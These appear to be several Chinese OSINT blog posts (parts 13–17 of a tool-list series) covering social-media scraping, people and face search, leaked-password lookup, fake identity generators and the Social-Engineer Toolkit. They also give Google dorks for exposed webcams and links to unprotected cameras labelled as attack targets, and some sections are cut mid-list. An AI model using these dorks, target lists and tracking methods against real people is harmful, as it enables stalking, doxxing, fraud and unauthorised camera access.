据我所知，除了确认有人拥有该应用程序外，很难利用Signal的任何功能。对于隐私保护者来说，这可能是最适合您的应用程序。

所有工具都可以用于防御哦！〇

—— 持续更新中 ——

原文

社交媒体情报、追踪电邮电话号码、挖抖音、搜网络摄像头……：新生情报工具（13）- iyouport

开源情报-每个人都可用的武器新生情报工具

【2020年7月16日存档】继续不定期更新系列

欢迎回来！

如果您忘记了本系列内容的由来、或者还没有读过以前的内容，可以在下面回顾：

- 《新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音》
- 《新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家》
- 《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》
- 《新生情报工具（4）：战术培训、狩猎推特、瑞士军刀—针对特定目标人的侦查利器》
- 《新生情报工具（5）：翻译间谍、头像中的秘密、连锅端利器、和追踪资金往来》
- 《新生情报工具（6）：广泛搜集、地理定位、我知道你的猫住在哪》
- 《新生情报工具（7）：全球搜人、免费手机短信、放大照片不损质量、快速查找相关视频》
- 《去模糊化、挖人际关系、自动社交工程攻击、监视信息战：新生情报工具（8）》
- 《实时钓鱼、快速提取、游行调查、跨站追踪、便携式瑞士军刀：新生情报工具（9）》
- 《根据位置搜索telegram群组、在互联网上跟踪人、可视化影响力关系网络、及其他：新生情报工具（10）》
- 《实时新闻地图、Twitter 情报分析、电话号码追踪、电子邮件侦查及其他：新生情报工具（11）》

- 《种子、暗网、区块链、抖音、telegram、数据集…… ：新生情报工具（12）》

依旧希望今天的内容能对您有用。

1、社交媒体情报技巧

「图」

Instagram 也是跨平台追踪常用利器，如上图所述，因为它鼓励人们更多的暴露自己的私密信息。

- 《如何通过 Instagram 轻松追踪目标人在城市中的一举一动？》

但是鉴于其功能，有些时候通过 Instagram 进行的调查会遇到一些问题。于是这里总结一下常见问题，以及可能的解决方案。

▸如果您想要找到一个特定的位置和一个特定的日期，使用这个：https://whopostedwhat.com/

▸有时很难在 Instagram 中找到合适的主题标签进行关键字搜索。有一个工具可以向您显示最受欢迎的标签 —— 模糊搜索：http://keywordtool.io/instagram

▸如果您想找到特定的用户，应该会使用名字、位置和主题标签进行搜索。有一个平台可以更好的做到这点：http://gramuser.com

▸如果您想以最高分辨率下载 Instagram 图片，可以通过一个插件：https://chrome.google.com/webstore/detail/high-resolution-downloade/hbijmiokbffalbolieapplfhmmnioeao

▸如果您想知道照片上传到 Instagram 的确切时间，见这个教程：https://mpsocial.com/t/how-to-see-exact-time-an-instagram-post-was-made/35086

▸如果您想要知道目标帖子的背景（语境）使用这个：social-searcher.com 也适用于其他社交媒体。

▸如果您不想在 Instagram 中搜索用户、地理位置或主题标签，而是在帖子中搜索特定文本，用这个：https://mulpix.com/instagram/did_you_see_that_omg.html

▶Instagram 用户图片太小，看不清细节，您想要最好的分辨率，用这个：https://instadp.com/profile/henkvaness&h

▸如果您想在 Instagram 故事被删除之前保存它们，用这个：https://storiesig.com/?username＝theellenshow

▸如果您想知道哪些用户处于活动状态，用这个：https://picpanzee.com/search/henkvaness

▸如果您只想搜索位置，而不要搜索标签或用户，用这个；https://stalkfest.com/location/homs/

2、调查电子邮件或电话号码

「图」

Lampyre 是用于调查电子邮件或电话号码甚至其他一些数据源的好工具，无需API即可轻松创建结果的可视化显示（例如 Maltego 转换）。

- 不要错过《如何使用 Maltego 监测推特上的政府信息战》

可以在下面看到视频：

▸安装 Lampyre

- 从 lampyre.io 网站下载 Lampyre；运行安装程序“lampyre-1.3.1-beta.exe”；指定安装位置
- 启动该应用程序，并花几分钟时间获取免费许可证

开始新的调查 File」New Investigation

打开请求列表 Windows」List of Requests

“请求列表” 窗口将弹出：

1. 选择您的搜索条件，在本示例中为电子邮件。

- 在中间的 “任务” 窗格中，单击顶部框，选择所有任务。
- 在右侧的参数栏上输入目标的电子邮件。
- 点击执行。

1. 个人资料名

- 个人资料图像
- 关注者
- 关注的人
- 验证布尔值
- 生物数据（预测行为）
- 点赞数
- 视频数
- ID

链接：https://github.com/sc1341/TikTokOSINT

4、Telegram刮刀：获取有关组成员的所有信息

「图」

关于如何设置API，见下面的视频：

链接：https://github.com/th3unkn0n/TeleGram-Scraper

5、接本系列上一集中的内容，再补充一些 *专题* 搜索引擎和平台

「图」

▶**meme搜索引擎：**

me.me

imgflip.com

memes.com

onsizzle.com

knowyourmeme.com

memebase.cheezburger.com

memedroid.com

tenor.com

memebay.io

▶**PNG图像搜索引擎（SEO用的比较多）：**

cleanpng.com

favpng.com

kingpng.com

pluspng.com

purepng.com

pngguru.com

pngkey.com

searchpng.com

subpng.com

▶**Linkedin 搜索工具：**

recruitmentgeek.com/tools/linkedin/

lisearcher.com

freepeoplesearchtool.com

sourcinglab.io/search/linkedin

anantha.co.in/linkedin/

trevisansocial.com/linkedtool/

▶ **Telegram 搜索工具：**

lyzem.com

botsfortelegram.com

tgstat.com

tgram.io

telegramchannels.me

telegroups.info

telete.in

videosearch.in/watch/telegram/

telegramic.org

▸机器人搜索引擎（就是搜bots的，点开就能看到，它有各种领域的机器人）：https://thereisabotforthat.com/

▶ **Instagram** 搜索引擎（这是开源调查中的社交媒体情报部分）：

gramfind.com

mulpix.com

gramlook.com

pikdo.biz

bigsta.net

webstagram.org

tofo.me

grampages.com

skimagram.com

▸ 私密搜索引擎：

discretesearch.com

searchencrypt.com

givero.com

searchduckduckgo.com

hidemysearches.com

whaleslide.com

qwant.com

gibiru.com

search.disconnect.me

▸ 搜网络摄像头的平台：

heycam.com

world-webcams.nsspot.net

camhacker.com

wawashare.com/webcam.php

web-multiple-search-engines.com/webcams.php

camcentral.com/search.php

opentopia.com/search.php

shodan.io/explore/tag/webcam

6、入门视频

「图」

WebBreacher 和 OSINTtechniques 制作了一个视频，是对开源情报的介绍，内容涉及：查找用户名，电子邮件地址，电话号码，google 搜索运算符并保存您的数据等等。对入门者会很有用：

○

—— 不断更新中 ——

原文

挖抖音、泄漏密码、漏洞、人脸识别工具、假身份生成器、事实核查 ……：新生情报工具（14）- iyouport

开源情报-每个人都可用的武器新生情报工具

【2020年7月24日存档】继续不定期更新系列

欢迎回来！

依旧希望今天的内容能对您有用。

1、搜索工具系列 —— 继续补充中

「图」

▸搜索推特 **threads**

很多时候 threads 的营养价值比单独的推文要高；并且，有目的的宣传性内容基本不会使用 threads。

也就是说，如果您选择读 threads，也许可以找到更多有用的内容，同时更容易绕开营销。

这里是一个搜推特 threads 的平台：https://threadreaderapp.com/

下图是示例，您可以按日期、相关性、和语种过滤内容。

▸搜文件共享网站的搜索引擎：

anyfiles.org

fsearchengine.blogspot.com

filesearch.link

shareonlinesearch.com

wupfile.filesearch.link

sharing-files.com

rockfilesearch.com

filejokersearch.com

googledrivesearch.com

4shared.com

▸搜索被泄漏和被黑的密码（黑客侦查、普通用户个人防御）：

dehashed.com

haveibeenpwned.com

haveibeencompromised.com

leakedsource.ru

breachalarm.com

leaked.site

checkashleymadison.com

ghostproject.fr

hotsheet.com/inoitsu/

▸推特搜索工具（社交媒体情报）：

searchfortweets1.com

onemilliontweetmap.com

tags.hawksey.info

tweeplesearch.com

ritetag.com

followfly.co

ctrlq.org/first/

osome.iuni.iu.edu/tools/

▸免费音乐电台：https://mixshakemusic.com

▸根据您的偏好提供类似音乐、电影、电视节目、书籍、作者、游戏和播客的建议：tastedive.com

▶**Instagram** 搜索工具（社交媒体情报）：

gramchecker.com

peopleinsta.com

pikdo.biz

uvrx.com/instagram.html

instasave.io

hashatit.com

hashtagsforlikes.co

grampages.com

tofo.me

codeofaninja.com/tools/find-instagram-user-id

nstadp.org

findtagz.com

searchbysite.com/instagram/

findtagz.com

gramhashtags.com

instadp.org

privatephotoviewer.com

netbootcamp.org/instagram.html

skimagram.com

picpanzee.com

storyinsta.com

searchbysite.com/instagram/

▸搜论文的工具：

ethos.bl.uk

core.ac.uk

scinapse.io

engpaper.com

usefulresearchpapers.com

search.ndltd.org

oatd.org

philpapers.org

plos.org

manyessays.com/essay/search-engine

▸漏洞搜索工具：

cve.circl.lu

cve.mitre.org

kb.cert.org/vuls/

exploit.kitploit.com

vulnerabilitycenter.com

snyk.io/vuln/

wpvulndb.com

cxsecurity.com

securityfocus.com

vuldb.com

▸可视化搜索工具：

glorp.co

terrapattern.com

music-map.com

mastersofmedia.hum.uva.nl

bit.ly/36U7XNG

observablehq.com

kiddle.co

observablehq.com/@alandelip/music-viz

▸搜法律相关信息的搜索引擎：

lawfirmsearchengine.com

search.weblaw.ch/le/

ctlawsearch.com

onecle.com

legalcrystal.com

global-regulation.com

legitquest.com

lawkhoj.com

justia.com

▸搜索声音的平台：

soungle.com

soundjax.com

findsounds.com

4noise.com

audiocommons.org

flaru.com

soundeffectssearch.com

dailywav.com

zapsplat.com

soundtrackloops.com

▶Tor搜索引擎：

ahmia.fi

bullmask.com

darksearch.io

onionsearchengine.com

onionlandsearchengine.com

tordex7iie7z2wcg.onion

haystakvxad7wbk5.onion

xmh57jrzrnw6insl.onion

gjobqjj7wyczbqie.onion

▸恶意软件分析：

virustotal.com

cape.contextis.com

hybrid-analysis.com

app.any.run

metadefender.opswat.com

joesandbox.com

urlhaus.abuse.ch

urlscan.io

▸黑客搜索引擎：

censys.io

shodan.io

viz.greynoise.io/table

zoomeye.org

fofa.so

onyphe.io

app.binaryedge.io

hunter.io

wigle.net

▸在线广播电台搜索引擎：

onrad.io

radio-locator.com

rfsearch.com

radiodirectory.com

radiolinks.net

digitalfrequencysearch.com

dxmaps.com/search.html

radio-portal.org

internet-radio.com

streamfinder.com

▸找公寓搜索引擎：

apartmentsearch.com

apartments.com

apartmentfinder.com

rentcafe.com

padmapper.com

livelovely.com

hotpads.com

abodo.com

apartmentlist.com

rentjungle.com

▸搜播客的平台：

listennotes.com

podsearch.com

podcasts.com

vocalmatic.com/podcasts

light.sx

stitcher.com

rt-lookup.com

4podcasts.com

search.audioburst.com

fantasypodcastsearch.com

▸搜代码的搜索引擎：

cocoapods.org

jexamples.com

snip2code.com

programcreek.com/scala/

symbolhound.com

referencesource.microsoft.com

programiz.com

codase.com

developers.google.com/code-search

nerdydata.com

▸抖音（**TIKTOK**）搜索引擎（社交媒体情报）：

tiktokhashtags.com

bytesights.com

downloadtiktokvideos.com

ttdown.org

ttdownloader.com

influencegrid.com

analisa.io

musicallygenerator.site

musicallydown.com

playtik.net

tikanalytics.com

tiktokcalculator.com

tikrank.com

tiktokbrowser.com

tubehi.com

embed.ly/provider/tiktok

ttmetrics.com

ttonlineviewer.com

cloutmeter.com

▶**Google Dork** 自定义搜索引擎：

https://cse.google.com/cse?cx=017648920863780530960:lddgpbzqgoi

▶PDF搜索引擎

pdfsearchengine.info

pdfsearchengine.net

freefullpdf.com

pdfdrive.com

docjax.com

printfu.org

sopdf.com

pdfdrive.com

pdfyes.com

goliathsearch.com/SearchPdf

▶Whatsapp 搜索工具：

groupsdaddy.com/whatsapp

grouplinks.com

girlsnumber.co

groupsor.net

chat.whatsapp.com/invite/

groupsfor.com/2020/02/whatsapp-group-links-18-america.html

checkwa.online/whatsapp-csv-filter/

neargroups.com

▶**Github 搜索工具：**

coderstats.net

awesomelists.top

gharchive.org

git-awards.com

githubstars.com

gitlive.net

githut.info

gitstar-ranking.com

caius.github.io/github_id/

api.github.com

▸人脸识别工具：

pictriev.com

pimeyes.com

how-old.net

bing.com/visualsearch/Microsoft/CelebsLikeMe?toWww=1&redig=4EC343E484964EC5A978768925020C48

starbyface.com

aura.popsugar.com

pornstarbyface.com

twinning.popsugar.com

▶**Facebook 搜索工具（社交媒体情报）：**

facebook.com/watch/live/

intelx.io/tools?tab＝facebook

facebook.com/directory/people/

plessas.net/blog/2019/8/14/facebook-searching

gofindwho.com/#ggsearch

lookup-id.com

fb-search.com

social-searcher.com/facebook-search/

▸电子邮件地址搜索：

thatsthem.com

com.lullar.com

netbootcamp.org/osinttools/#email

emailrep.io

verify-email.org

metricsparrow.com/toolkit/email-permutator/

melissa.com/v2/lookups/

cse.google.com/cse?
q＝&r＝s&cx＝009679435902400177945:inqfto9vwf4

▸超级搜索引擎：searchitall.com

- 不要错过《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

▸事实核查网站/平台：

About Urban Legends

Captin Fact

Check

Citizen Desk

Emergent

Fact Check

Full Fact

MediaBugs

Snopes

Verification Handbook

Verification Junkie

Verily

▸推特 **lists** 自定义搜索引擎：bit.ly/2rutgq2

- 不要错过《深挖推特：提供技巧、工具和平台》
- 《如何使用 Maltego 监测推特上的政府信息战》
- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
- 《观察追踪者的思考方式：挖掘推特情报的基础教程（2）》

2、社交媒体情报技巧

「图」

LinkedIn 是社交媒体情报的重头戏，因为人们倾向于在这里提供更多私密信息。但是 LinkedIn 本身的设计不容易满足调查需求，于是开源情报社区对此作出了很多研究。

以下是 DutchOsintGuy 创建的一个新的10分钟提示，这是一种无需登录即可查看 **LinkedIn** 个人资料的解决方法：

3、追踪目标人

「图」

一个很强大的追踪人的搜索平台：免费，开源情报和个人隐私检查工具。

通过搜索框架按姓名、用户名、电子邮件、电话、地址等线索查找目标人（但不知道能否适用于中国和俄罗斯等有“墙”的国家）。

地址；gofindwho.com

4、跨平台追踪内容

「图」

这是一个跨社交媒体平台的自定义搜索引擎。帮您快速捕获消息。

比如追踪疫情，输入 nCoV后 显示 11,300,000 个结果。

与其他搜索引擎不同，它专注于从社交媒体抓取；因此消息会比较快，但其中有可能有不实消息，需要您主动甄别。

您还可以专门搜图，也可以按社区/评论来过滤。

地址：https://cse.google.com/cse?cx＝016621447308871563343:0p9cd3f8p-k

5、跨平台追踪目标人

「图」

NameCheckup 是一个跨平台的用户名搜索工具，测试效果不错：namecheckup.com

6、在线制作假身份

「图」

我们曾经介绍过一种，见《伪装＋擦除—— 在线隐身的重要步骤》。

这里还有两种。

第一个是：names.igopaygo.com 可以生成假身份、完整联系方式、信用卡、北美地址、邮件地址、电话号码转换等等。

第二个是来自中国的假身份生成器（注意：是不安全链接）：http://www.myfakeinfo.com/index.php 生成假身份、姓名、地址、电话号码、信用卡号、社会保险号、身份证号等，包括中国的身份证号码。

7、社交工程工具包 (SET)

「图」

Social-Engineer Toolkit 是一个为社交工程设计的开源渗透测试框架。SET具有许多自定义攻击向量，可让您快速进行可信的攻击。

支持：

- Linux
- Mac OS X

警告：本工具仅用于测试目的，并且只能在经过严格同意的情况下使用。请勿将其用于非法目的。

别忘了我们推荐过的书；

上面那本书您可以在这里下载；https://t.me/iyouport/6864

8、用于信息收集、渗透测试或侦察的工具

「图」

OSINT-SPY 是用于查询有关不同主题的信息的模块化工具，例如 IP 地址、域、电子邮件地址、比特币地址。在渗透测试的侦察阶段，此工具可能很有价值。它也可以用于防御目的。

OSINT-SPY 可以在 Linux 上运行。

```
//-h, --help show this help message and exit//

// --btc_block Get latest bitcoin block info//

// --btc_date Get bitcoin block info by date,
example - 20190614//
```

```
// --btc_address Get info of any bitcoin wallet
address//

// --ssl_cipher List out supported SSL ciphers
used by any domain//

// --ssl_bleed Check whether server is vulnerable
to heart bleed or not//

// --domain Do domain recon//

// --email Do email recon//

// --device Explore the Internet of Things.
Example - opensips,asterisk,juniper,windows10//

// --ip WHOIS IP Lookup//

// --malware Send files to VirusTotal for malware
analysis//
```

地址：https://github.com/SharadKumar97/OSINT-SPY

○

—— 不断更新中 ——

原文

挖 Telegram 群组、搜脸、搜人、蜂窝塔、网络摄像头、物联网、黑客新闻 ……：新生情报工具（15）

开源情报-每个人都可用的武器新生情报工具

【2020年8月4日存档】继续不定期更新系列

欢迎回来！

依旧希望今天的内容能对您有用。

1、挖 WhatsApp 情报的可能性不只有谷歌

「图」

上个月我们发布了《挖掘 WhatsApp 情报的技术和技巧》，这里使用的是 Google Dorking。但是，也许不只有谷歌才能做到。

尤其是，当人们开始意识到它的威力时，Google 已经从其索引中删除了链接。但是，当然还有其他搜索引擎您可以试试。

比如，

Bing ——

Bing 并不是很容易导航，因为它每页只有1–3个链接。但是，如果您可以自动抓取它 …… 会不会更好呢？

Yandex ——

Yandex 的功能要好一些，但似乎没有抓到太多 URL。

Yahoo 和 AOL 现在几乎相同，包括完全奇怪的结果。所以，现在 Yandex 再次胜出。

Swisscows ——

搜索引擎 “Swisscows” 也使用 Bing，但以某种方式似乎可以更好地解析信息，因为您将获得数十个链接，因此也可以尝试一下。

2、挖 Telegram 群组

「图」

能挖的不只有 WhatsApp，Telegram 的群组邀请链接也被大多数搜索引擎编入了索引。

在谷歌里只需要键入以下内容就能找到：

```
inurl:t.me/joinchat [topic]
```

您也可以使用 site:t.me/joinchat，但这不会索引到论坛或博客中提到的URL。比如下面这个例子。当然您也可以选取任何有趣的主题：

3、搜索工具

「图」

这是个功能很棒的搜索平台：WebOasis。

把鼠标悬停在搜索栏上，您会看到很多搜索源，您可以随意选择您希望的源；而且下面的栏目中综合了各种不同的需求，比如找书、找电影、各种功能等等……

它还具有许多指向其他站点的快速链接，有一些漂亮的工具，例如加密货币交换列表、在线转换器 等等很实用的东西。

点开左侧的三个横线图标能看到不同类别，您可以选择感兴趣的任意类别。

Link: https://weboas.is/

4、追踪世界上最有权势的人之间的关系

「图」

OpenSecrets 提供的数据用于创建有关资金流向的故事。这是一个草根监督网络，将世界上最有权势的人和组织之间的点点滴滴连接起来。

研究人员可以创建一个帐户并使用其可视化工具来绘制联系、帮助您了解所有这些数据。

通过跟踪政治人物、商业精英、说客、金融家、及其附属机构的关键关系，您可以为背后隐藏的人际网络带来透明度。比如了解这些问题的答案：

- 最富有的美国人向谁捐款？
- 白宫官员在被任命之前在哪里工作？
- 哪些说客与政客联姻？他们为谁游说？
- 政府合同和紧缩政策背后的推动者是谁？
- ……

所有这些信息都是公开的，但是很分散，普通人难以获得关于它们意味着什么的见解。而该工具可以将其结合在一起，以图形的方式帮助您的理解。

一些数据集会自动更新；其余的由用户社区填写。它不仅是一个调查工具，而且是公民监督和问责制的有效证据来源。

LittleSis 的代码是自由开源的。

Link：https://littlesis.org/

5、继续补充搜索工具系列

「图」

▸快速构建在线虚假身份（调查人员的袜子木偶）：

fakepersongenerator.com

generated.photos/faces

thispersondoesnotexist.com

randomuser.me

▸从任何类型的文件中提取各种元数据：https://www.metadata2go.com/

▸搜索泄漏数据：

offshoreleaks.icij.org

leakeddata.cc

qresear.ch

evileaks.su

leakcheck.io

leak-lookup.com

leakedsource.ru

▸搜网络爬虫的搜索引擎：

monstercrawler.com

webcrawler.com

web.crawler.com

metacrawler.com

mojeek.com

crawlx.freevar.com/crawler.php

▶□ RSS搜索引擎：

specificfeeds.com

pine.blog/search

wingee.com

realtyfeedsearch.com

rssreader.com/rssfeeds.htm

hobieu.apphb.com/api/1/opml/root

feeder.co/discover

allfeeds.org

showrss.info (browse)

▸脸部搜索引擎：

pictriev.com

pimeyes.com/en/

facesaerch.com

pornstarbyface.com

▸搜人引擎：

搜索目标人，将公共记录和社交网络信息组织成简单的目标个人资料，以帮助您安全地查找和了解目标：search-people.online

-搜公开数据：xlek.com

-搜 Linkedin：freepeoplesearchtool.com

-搜人：usa-people-search.com

-搜人：getpeoplesearch.com

▸ 搜特朗普推文的工具：

factba.se/search

trumptwitterarchive.com

trumptweetstoday.com

cnn.com/interactive/20…

trumptwitterdb.com

trumptweetarchive.tumblr.com

twitter.com/realDonaldTrump

factba.se

▸搜索来自 Github, Bitbucket, Google Code, Codeplex, Sourceforge, Fedora Project, GitLab 的项目：unbug.github.io/codelf/

▸ 搜文章的快捷工具：

findarticleonline.com

findarticles.com

ezinearticles.com

aviationmedicine.com/medical-article-search/

library.okstate.edu/search-and-find/combined-book-and-article-search

▸ 电子邮件时事通讯搜索引擎：

milled.com

newsletteraccess.com

beautiful-email-newsletters.com

upstart.me/search/index.php# findnewsletters.com

td.org/newsletter-search

reallygoodemails.com

▶ Twitter & Youtube 搜索引擎：socials-search.herokuapp.com

▸ 社交媒体网站的开源搜索引擎 (Instagram)：socialhunter.herokuapp.com

▸黑客新闻搜索工具：

hn.algolia.com

news.ycombinator.com

hnapp.com

hackernewssearch.firebaseapp.com

elastic-hn-search.herokuapp.com

hn.premii.com

▸ 物联网搜索引擎：

shodan.io

censys.io

zoomeye.org

thingful.net

onyphe.io

purplepee.co

▸ 搜蜂窝塔的工具：

antennasearch.com

opencellid.org

cell2gps.com

cellmapper.net

towerlocation.com

find.mapmuse.com/map/cell-towers

cellreception.com

cellphonetrackers.org

▸ 搜Wi-Fi的工具：

instabridge.com/free-wifi/

wiman.me

freewifinearbyme.com

wififreespot.com

wigle.net

wifimap.io

globalconnectwifi.com/hotspot-finder

hotspothaven.com

▸免费网站快照生成器，提供网站的实时屏幕截图，对保存证据很有帮助：Thum.io

▸网络摄像头Dorks：

inurl:”axis-cgi/mjpg”

intitle:”live view” intitle:axis

inurl:”lvappl.htm”

/cgi-bin/guestimage.html

intitle:”EvoCam” inurl:”webcam.html”

▸ 全球最大的免费数据表搜索引擎：

datasheet.live

▸ 独立新闻搜索工具（排除背后有奇怪资金控制的企业媒体）：paperball.news/en/

—— 不断更新中 ——

原文

搜电影、书、开放课程、Twitterlists、GPS、挖Skype、开源情报虚拟机、挖抖音、双语搜索 ……：新生情报工具（16）

开源情报-每个人都可用的武器新生情报工具

【2020年8月7日存档】继续不定期更新系列

欢迎回来！

依旧希望今天的内容能对您有用。

1、TikTok（抖音）数据挖掘

「图」

AwareOnline 分享了一个提示，内容涉及如何查看 TikTok 用户的 JSON 数据，包括关注者和被关注数量、清晰版的头像（720×720）、以及其他信息。只需使用以下 URL 即可检索 JSON 中的数据：

```
[[https://www.tiktok.com/node/share/user/@UserName|https://www.tiktok.com/node/share/user/@UserName]]
```

将 {username} 替换为目标用户名。就是这么简单。

如果想要 1080×1080 的图像呢？# 转到 TikTok 个人简历 tiktok.com@{username}

- 打开开发者工具 (F12)
- 选择 “Network tab”
- 刷新页面（F5）
- 选择“ XHR”标签
- 双击 “api/user/detail/”

- 打开 “AvatarLarger” 链接
- 完成

1. Cuckoo Sandbox

- Joe Sandbox
- VMWare virtualization products
- VirtualBox
- Hyper-V
- Parallels
- QEMU
- BOCHS
- Xen
- VirtualPC
- Sandboxie
- Wine

1. 不要错过：《650个名校免费在线课程，你马上就可以开始》
2. 不要错过《搜远程桌面、摄像头、打印机、家用设备 … 等一切的超级Shodan搜索：恐怖指南》
3. 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》

- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《”融化” 所有债务 ……如何构建黑客树莓派—黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法—黑客主义行动力（7）》
- 《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 持续更新中

▸ 搜索数据集的工具：

gapminder.org

search.openedition.org

data.worldbank.org

webdatacommons.org

openpaymentsdata.cms.gov

zenodo.org

public.enigma.com

visualdata.io

datasetlist.com

gdeltproject.org/data.html

datausa.io

datahub.io/search

registry.opendata.aws

openicpsr.org/openicpsr/

opendatani.gov.uk

opendatanetwork.com

data.oecd.org

msropendata.com

datasearch.gesis.org

figshare.com

dataone.org

data.europa.eu/euodp/en/home

search.datacite.org

opendata.cern.ch

dataportals.org

academictorrents.com

datasetsearch.research.google.com

data.gov

usgs.koordinates.com

geoseer.net

好啦，今天就是这样！玩得开心～ 下次见。〇

—— 持续更新中 ——

原文

反向面部识别、实时开源情报、推特可疑账户、网络摄像头地图、挖坟 ……新生情报工具（17） - iyouport

开源情报-每个人都可用的武器新生情报工具

【2020年8月13日存档】继续不定期更新系列。

欢迎回来！

依旧希望今天的内容能对您有用。

1、反向面部识别

「图」

Aric Toler 创建了一个教程，致力于反向面部识别技术。展示了如何使用 Find Clone 和 Yandex，并引导您完成涉及的步骤以确认发现。您可以在线观看：

- 不要错过《人脸识别可以自制，你知道吗？而且非常简单》
- 《面向大众的 “面部识别” 技术：Yandex》

2、实时开源情报

「图」

Josh Huff 在今年早些时候的SANS开源情报峰会上的演讲，谈到了实时检测目标事件的工具和方法，这是一些很实用的技巧，现在您也可以学习：

3、使用 Twitonomy 识别可疑的在线行为

「图」

Twitonomy 是分析 Twitter 帐户及其活动的工具，也是识别推特平台上可疑或类似机器人行为指标的好方法。

- 不要错过《如何分辨：机器人、僵尸网络和 trolls》
- 《如何发现社交媒体上的机器人账户？- 12种方法》
- 《如何挖掘机器人水军的幕后推手？》

它本身是免费的，尽管您可能需要高级版本才能使用一些更高级的功能，例如下载数据或分析列表。但免费版足够帮您识别。

☞不只是调查工作需要这类工具，通过检查活动（例如帖子的频率或转发的数量）来分析目标帐户的行为。这对于识别谁经常与平台上的什么人打交道，也很有用。

Twitonomy是一种漂亮的工具，可用于观察特定帐户的活动并快速识别可疑行为的迹象。

它不能最终确定一个帐户是否是机器人，但该工具可以突出显示虚假或自动化行为的主要迹象，以引导您进行进一步调查。

将帐户的用户名粘贴到 Twitonomy 中可显示一系列指标，在《如何分辨：机器人、僵尸网络和 trolls》中我们介绍过这些指标，比如在下面的示例中，一个用户一周内平均每天发布176.78次。

当然，这不是自动化或类似机器人行为的肯定迹象，但也不是正常的 Twitter 活动。

Twitonomy 还概述了目标帐户转发最多的用户、定期回复的用户、使用的标签，其关注者网络的其他信息。对于挖掘人际关系网络和目标人的兴趣点来说也很有用。

- 不要错过《如何挖掘目标人隐藏的人际关系？》
- 《如何挖掘目标人社交关系网？- 连锅端利器》

检查用户发布的平均时间也是识别模式的快速方法。例如，如果一个帐户仅在特定时间或一周中的特定日期发布，则可能会引发有关这些时刻是否由软件定义的问题。

或者，如果一个帐户每天都在不断地发布而没有时间睡觉，则可能是自动化的迹象。

4、检查冠状病毒信息的快速方法

「图」

关于冠状病毒的虚假信息在全球铺天盖地。世卫组织称其为“信息流行病”，因为误导性的或不正确的信息传播的速度比病毒传播的速度还要快。骗子们创造的环境使人们难以相信在网上找到的任何东西，并加剧了全球范围内人们的恐慌和焦虑。

虚假的和误导性的故事像野火一样散布，因为人们共享它们。谎言可能比事实更性感，更具魅力。

- 你要错过《人们为什么相信骗子？》

请记住，仅仅因为一份内容附有图表或表格，并不意味着数字和背后的科学扎实。用图表骗人太容易了，见《数轴有鬼：用数据可视化撒谎很简单（2）》。

自疫情爆发以来，路透社研究了有关新冠状病毒的科学研究问题。他们确定的153个案例中，有92个尚未经过同行评审，其中一些包含了一些非常古怪且未经验证的声明，例如 将冠状病毒与HIV或从蛇到人的传播联系起来。

正如路透社所说，“speed science” 的问题在于，人们可能会在对数据进行适当研究之前因恐慌而做出错误的决定。

一幅图片价值一千个单词，而涉及虚假信息时，也值一千个谎言。其中最常见的虚假消息类型的是指出同一图像的不同背景：视频和图像本身是真的，但配合了完全不同的叙事，歪曲了事实。

在台式机上：您可以使用 RevEye 插件在不离开浏览器的情况下搜索互联网上的任何图像。

在手机上：如果您出门在外或在 whatsapp 上看到奇怪的消息，则可以在手机上使用 TinEye 来反向图像搜索，以验证其陈述的真伪。

关于具体的信息真伪验证的方法，详见 列表-3 “让它民主”

- 《搜图功能哪家强？图像验证方法的能力对比》

对于视频，您可以使用 InVid的视频验证插件 进行同样的工作。

识别虚假信息的最佳工具之一就是您的眼睛。借助观察技巧和一些谷歌搜索功能，就可以快速确定照片是否来自声称的时间和地点。

考虑以下：

- 寻找建筑物的线索，标志性语言，人们的穿着，行车路线，商家名称等。
- 您可以搜索并验证什么？您可以在地图上找到同一地点吗？
- 您可以通过 “侦探挑战” 游戏的演示学到什么？更多技巧演示详见 列表-5 “开源情报”

请随时谨记 —— 在线信息验证的5大支柱：

5、实战！

「图」

喜欢替代现实游戏（ARG）吗？推荐一个新的比较不错的游戏，它汇集了各种侦探技艺，能帮助提升您的侦查和调查能力。

IYP介绍过很多侦查和反侦查技巧，见 列表- 1“反侦察” ；和列表- 5“开源情报”：这些游戏可以帮您实践它们。

安卓: https://play.google.com/store/apps/details?id＝com.hybriona.projectvoid

苹果: https://apps.apple.com/us/app/project-void-mystery-puzzles/id1386048466

此外，侦探新秀们，想要挑战一下自己的实力吗？这里是三个平台，可以帮您磨练实战能力：

Link: https://ctf.cybersoc.wales/

Link: https://www.sourcing.games/

Link: https://www.geoguessr.com/

6、继续补充分类搜索工具内容

「图」

▸政府信息搜索（美国）

政府合同：governmentcontracts.us

国家安全数字图书馆：hsdl.org/c/

FBI：fbi.gov/@@search?SearchableText＝&pageSize＝20&page＝1&sort_on＝&s

▶DNS IP/ HOST Check

hostchecker.net

check-host.net

ping.eu

hostingchecker.com

dnschecker.org

dnsdumpster.com

▸搜未受保护的网络摄像头（可攻击目标）

http://webcammonitor.yolasite.com/unprotected-cams.php

https://www.blackhatworld.com/seo/unprotected-webcams-i-had-no-ideas-these-existed.589633/

http://members.upc.nl/a.horlings/cam-list.html

▸网络摄像头地图

worldcam.eu/map

camhacker.com/map/

webcamtaxi.com/en/map.html

opentopia.com/map.php

earthcam.com/network/map.php

geocam.tv/#/

▶IRC/XDCC聊天室搜索

irc2go.com Chat Rooms + Online Chat search

ixirc.com IRC SEARCH

sunxdcc.com XDCC/IRC SEARCH

xdcc.eu XDCC/IRC SEARCH

search.mibbit.com IRC SEARCH

▸文件共享网站搜索引擎：

ddlsearch.free.fr

filediva.com

zippysharesearch.com

filejokersearch.com

uvrx.com

filesearchengine.blogspot.com

googledrivesearch.com

sharedigger.com

anyfiles.org

search.jayxon.com

searchuploaded.com

takefilesearch.com

rockfilesearch.com

4shared.com

filesloop.com

hotlinksearch.com

meganzsearch.com

